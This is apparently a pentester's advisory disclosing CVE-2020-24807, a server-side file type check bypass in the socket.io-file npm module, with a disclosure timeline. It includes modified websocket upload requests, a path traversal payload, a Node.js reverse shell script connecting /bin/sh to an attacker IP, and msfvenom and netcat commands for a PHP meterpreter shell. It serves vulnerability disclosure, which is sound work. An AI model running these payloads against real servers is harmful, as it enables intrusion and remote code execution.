Title: File Type Restriction Bypass in Socket.io-file NPM module
Date: 31/07/2020
CVE-ID: 2020-24807
Advisory: https://github.com/advisories/GHSA-6495-8jvh-f28x
Author: Thomas Sermpinis
Versions: <= 2.0.31
Package URL: https://www.npmjs.com/package/socket.io-file
Tested on: node v10.19.0, Socket.io-file v2.0.31, socket.io v2.3.0
Proof of Concept: –
During some of our pentests, we face applications that are well secured with not so many misconfigurations. That means that we have to dig deeper, if the time frame allows it. In one of our pentest we faced a web application running on an embedded device that used web sockets in order to initiate the connection between the server and the client. There are several different technologies that can be used in the back-end system in order to make use of web sockets, but in that case the client made use of Socket.io.
One of the main functionalities of the web application was file upload, and for that reason it used the Socket.io-file NPM module. For more info about the last vulnerability we discovered in this module, you can read the post here. In a sentence, there is a path traversal vulnerability which allowed us to upload files in any path of the system, considering the user that the web server was running on.
This by itself can supply remote code execution, considering that we can possibly wright the ssh_config file, or even the /etc/passwd and /etc/shadow files. But this is the case only in web servers that run with root privileges, so we had to dig deeper for more if we wanted to have remote code execution with a less privileged user.
Hence the file type restriction bypass vulnerability in the Socket.io-file module, which allowed us to bypass the file type restrictions specified in the modules configuration. That way we were able to upload any file type and by adjusting to the underlying configuration, upload the proper shell to obtain remote code execution to the underlying system.
Client and project aside, the upload functionality of socket.io-file is once more vulnerable to improper input validation in a different part of the code, allowing attackers to bypass file type restrictions and it allows them to upload files types of their choice in the underlying system.
Description of the Vulnerability
The default configuration of Socket.io-file comes with an upload functionality handled by websockets. When a user tries to upload a file with the web application, the following client side request is created in order for the file to be created:
42["socket.io-file::createFile",{"id":"u_0","name":"testfile.mp3","size":1,"chunkSize":10240,"sent":0,"data":{}}]
In order for this file to be created to the underlying system, the code from index.js of Socket.io-file is executed and the following part of the code, checks for the file type of the file (supplied by the socket.io-file configuration) and acts accordingly (accepts or discards the upload request):
let err = new Error('Not Acceptable file type ' + mimeType + ' of ' + filename + '. Type must be one of these: ' + this.accepts.join(', '));
return sendError(err);
}
else {
self.socket.emit(socket.io-file::complete::${id}, emitObj); self.emit('complete', emitObj);
}
}
else {
self.socket.emit(socket.io-file::complete::${id}
, emitObj);
self.emit('complete', emitObj);
As an example, if the user uploads a file with the name “testfile.mp3” (with the applied configuration only allowing .mp3 files), a new .mp3 file will be created. As the aforementioned code makes the check only on the client side and before the websocket request gets created, the upload request can be intercepted and the file name altered in a way that allows us to alter the file type of the created file in the server. The following example exploits this issue:
42["socket.io-file::createFile",{"id":"u_0","name":"testfile.php","size":1,"chunkSize":10240,"sent":0,"data":{}}]
In order to bypass the client side restriction, we have to rename the original file with the file type that is accepted by the web application (in this case .mp3). After we intercept the request, we can change the file type to the original one (e.g. .php), and no checks will be made in the server side. This will have as a result the creation of a .php file in the underlying system, which means that the file type checks has been bypassed.
Additionally, we can combine this attack with our previously disclosed path traversal vulnerability, which in certain configurations can result in code execution in the underlying system as we can see in the next section.
Combining Vulnerabilities to Obtain RCE
Now that we can upload any file type in any server folder we want to, it means that in certain configurations we can acquire code execution in the underlying system.
Case 1: Changing the configuration files.
One of the things we can do is alter the configuration files, add malicious javascript libraries in the webserver and alter the index.html in order to load them. A good example will be to alter the index.html file by copying the contents of it and adding a <script> tag to include a js file in it.
After that we can also upload a .js file (the one that we include in the index.html file, which is loaded by the server) which will include the following code:
(function(){
var net = require(“net”),
cp = require(“child_process”),
sh = cp.spawn(“/bin/sh”, []);
var client = new net.Socket();
client.connect(8080, “10.17.26.64”, function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
This reverse shell will work only in certain misconfigured Node.js installations, which are not so rare in the wild. Changing the IP and port of our listener (you can start a listener to your attacking machine with nc -lnvp 8080) and by making the changes mentioned above, we can obtain a reverse shell, where we can execute commands in the underlying system.
Case 2: Exploiting configuration specific vulnerabilities.
There are many different configurations that can exist running the vulnerable module. One of them could be a node.js server running PHP. As crazy as it sounds, there are multipurpose servers that can support this kind of functionality, which are relatively easy to exploit.
To create a PHP reverse shell we can use msfvenom and execute the following command:
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.17.26.64 LPORT=4443 -f raw > shell.mp3
This will create a php file that when executed by the server will supply us with a reverse shell in our listener. To upload the file using our combined vulnerabilities, we can alter the upload websocket request and alter it as follows:
42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../public/shell.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]
This will upload our file in the public folder of our webserver, which is allowed to be accessed in our configuration. By navigating to the file with our browser, we are able to execute the php shell and get a reverse shell in our attacking machine.
Issue Replication
In order to replicate the issue, the following steps have to be executed:
- Setup a proxy to intercept HTTP and WebSocket requests (e.g. Burp Suite or OWASP Zafp)
- Create a file which will be of the type that is accepted by the web application. (The contents of the file can be of any type)
- Upload a file using the Socket.io-file web application and intercept the websocket request
- Change the “name” parameter by adding altering the file type of the file, with the desired one:
- 42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”testfile.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]
- This example will create the testfile.php file in the data directory of the current user (our test server stores files in /home/ubuntutest/Documents/socket-app/data)
Remediation
No fix is currently available. Consider using an alternative package or technology until a fix is made available.
Vulnerability Disclosure Timeline
Following the npm guidelines for vulnerability disclosure (“If maintainers are unresponsive after 45 days, npm Security makes the advisory public”), we responsibly disclosed this vulnerability on 31st of July 2020.
- Initial Disclosure: 31st July 2020
- Security Team Validation: 11th August 2020
- Advisory Release: 2nd October 2020
- CVE ID Assigned: 6th October 2020